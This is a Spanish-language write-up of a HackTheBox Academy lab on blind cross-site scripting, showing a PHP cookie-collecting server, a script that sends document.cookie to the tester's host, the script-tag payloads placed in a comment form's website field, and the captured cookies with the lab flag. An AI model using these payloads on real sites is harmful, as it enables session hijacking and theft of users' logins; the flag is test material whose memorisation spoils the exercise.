{"url":"https://writeups.es/writeups/hackthebox/skills-assessment-xss-cwes-htb-academy/juanluismm520","machine":{"name":"Skills Assessment (XSS CWES HTB Academy)","slug":"skills-assessment-xss-cwes-htb-academy","platform":"HackTheBox","platform_slug":"hackthebox","difficulty":"facil","difficulty_label":"Fácil","operating_system":["Web"],"tags":["web","xss"],"original_url":"https://academy.hackthebox.com/app/module/103/section/1011","all_writeups":"https://writeups.es/maquinas/hackthebox/skills-assessment-xss-cwes-htb-academy"},"author":{"nickname":"juanluismm520","url":"https://writeups.es/u/juanluismm520","bio":null},"summary":null,"outline":[{"level":1,"title":"Skills Assessment (XSS CWES HTB Academy)","anchor":"https://writeups.es/writeups/hackthebox/skills-assessment-xss-cwes-htb-academy/juanluismm520#skills-assessment-xss-cwes-htb-academy"},{"level":2,"title":"📝 Resumen","anchor":"https://writeups.es/writeups/hackthebox/skills-assessment-xss-cwes-htb-academy/juanluismm520#resumen"},{"level":2,"title":"Explotación","anchor":"https://writeups.es/writeups/hackthebox/skills-assessment-xss-cwes-htb-academy/juanluismm520#explotacion"},{"level":3,"title":"1.-Montar un servidor que almacene las cookies","anchor":"https://writeups.es/writeups/hackthebox/skills-assessment-xss-cwes-htb-academy/juanluismm520#1-montar-un-servidor-que-almacene-las-cookies"},{"level":3,"title":"2.-Identificamos el campo vulnerable a XSS","anchor":"https://writeups.es/writeups/hackthebox/skills-assessment-xss-cwes-htb-academy/juanluismm520#2-identificamos-el-campo-vulnerable-a-xss"}],"cves":[],"code_languages":["php","js","bash"],"stats":{"words":316,"reading_minutes":2,"votes":0},"content_markdown":"# Skills Assessment (XSS CWES HTB Academy)\n\n> Plataforma: **HackTheBox** | Dificultad: **Fácil** | IP: `10.129.234.166`\n\n---\n\n## 📝 Resumen\n\nEstamos realizando una tarea de pruebas de penetración de aplicaciones web para una empresa que te ha contratado, la cual acaba de lanzar su nuevo Security Blog. En nuestro plan de pruebas de penetración de aplicaciones web, hemos llegado a la parte en la que debes probar la aplicación web en busca de vulnerabilidades de Cross-Site Scripting (XSS).\n\nInicia el servidor de abajo, asegúrate de que estás conectado a la VPN y accede al directorio /assessment en el servidor usando el navegador:\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/3e3c4d62-055f-445c-b4ca-dc9ea8afc18b.webp)\n\nAplica las habilidades que aprendiste en este módulo para lograr lo siguiente:\n\n1. Identificar un campo de entrada de usuario que sea vulnerable a una vulnerabilidad XSS\n2. Encontrar un payload XSS funcional que ejecute código JavaScript en el navegador del objetivo\n3. Usando las técnicas de secuestro de sesión (Session Hijacking), intenta robar las cookies de la víctima, las cuales deberían contener la flag\n\n## Explotación\nEn este caso si buscamos vemos como hay un apartado de comentarios. \n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/be52c84a-ff88-4d0e-b93b-8bf71ded997b.webp)\n\n\n\nTal como nos dice el enunciado, estamos ante un **_BLIND XSS_** pues no sabemos que campo es vulnerable.\nLo primero es seguir las indicaciones que se nos da en la academia para este tipo de ejercicios:\n\n### 1.-Montar un servidor que almacene las cookies\nPara eso simplemente creamos el fichero `index.php` y `script.js`\n\n```php\n<?php\nif (isset($_GET['c'])) {\n    $list = explode(\";\", $_GET['c']);\n    foreach ($list as $key => $value) {\n        $cookie = urldecode($value);\n        $file = fopen(\"cookies.txt\", \"a+\");\n        fputs($file, \"Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\\n\");\n        fclose($file);\n    }\n}\n?>\n```\n\n```js\nnew Image().src='http://OUR_IP/index.php?c='+document.cookie;\n```\n\nNuestra IP viene determinada por la IP de la VPN de HackTheBox.\nY montamos el servidor con el comando\n```bash\nsudo php -S 0.0.0.0:8080\n```\n\n\n\n### 2.-Identificamos el campo vulnerable a XSS\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/7684acd5-95e7-415c-a891-d846bd831ce0.webp)\n\nDescartamos que email es vulnerable debido a la validación del campo. \nSi esperamos unos segundos, nos llega una petición a nuestro servidor\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/b771f98f-ddbb-414b-9c1f-5ded99632188.webp)\n\n\nIndicando que el campo vulnerable es website y que además simplemente funciona con el payload\n```bash\n<script src=\"http://10.10.14.125:8080/website\"></script>\n```\n\nPara llevar a cabo el ataque simplemente llevamos al revisor a nuestro script.js de esta forma \n```bash\n<script src=\"http://10.10.14.125:8080/script.js\"></script>\n```\nColocamos el payload en el campo vulnerable (website) y nos dará la flag\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/1ee24a09-1e7c-4164-9da0-1fa5c618e3e6.webp)\n\n\n```bash\n┌─[eu-academy-5]─[10.10.14.125]─[htb-ac-2334078@htb-6ey8cwbbfy]─[~/server]\n└──╼ [★]$ cat cookies.txt \nVictim IP: 10.129.234.166 | Cookie: wordpress_test_cookie=WP Cookie check\nVictim IP: 10.129.234.166 | Cookie:  wp-settings-time-2=1783621506\nVictim IP: 10.129.234.166 | Cookie:  flag=HTB{cr055_5173_5cr1p71n6_n1nj4}\n┌─[eu-academy-5]─[10.10.14.125]─[htb-ac-2334078@htb-6ey8cwbbfy]─[~/server]\n└──╼ [★]$ \n\n```\n\n","published_at":"2026-07-09T17:40:26.868174+00:00","updated_at":"2026-08-14T18:15:44.659871+00:00","license":"CC BY-SA 4.0","attribution":"Writeup de juanluismm520 publicado en writeups.es — https://writeups.es/writeups/hackthebox/skills-assessment-xss-cwes-htb-academy/juanluismm520"}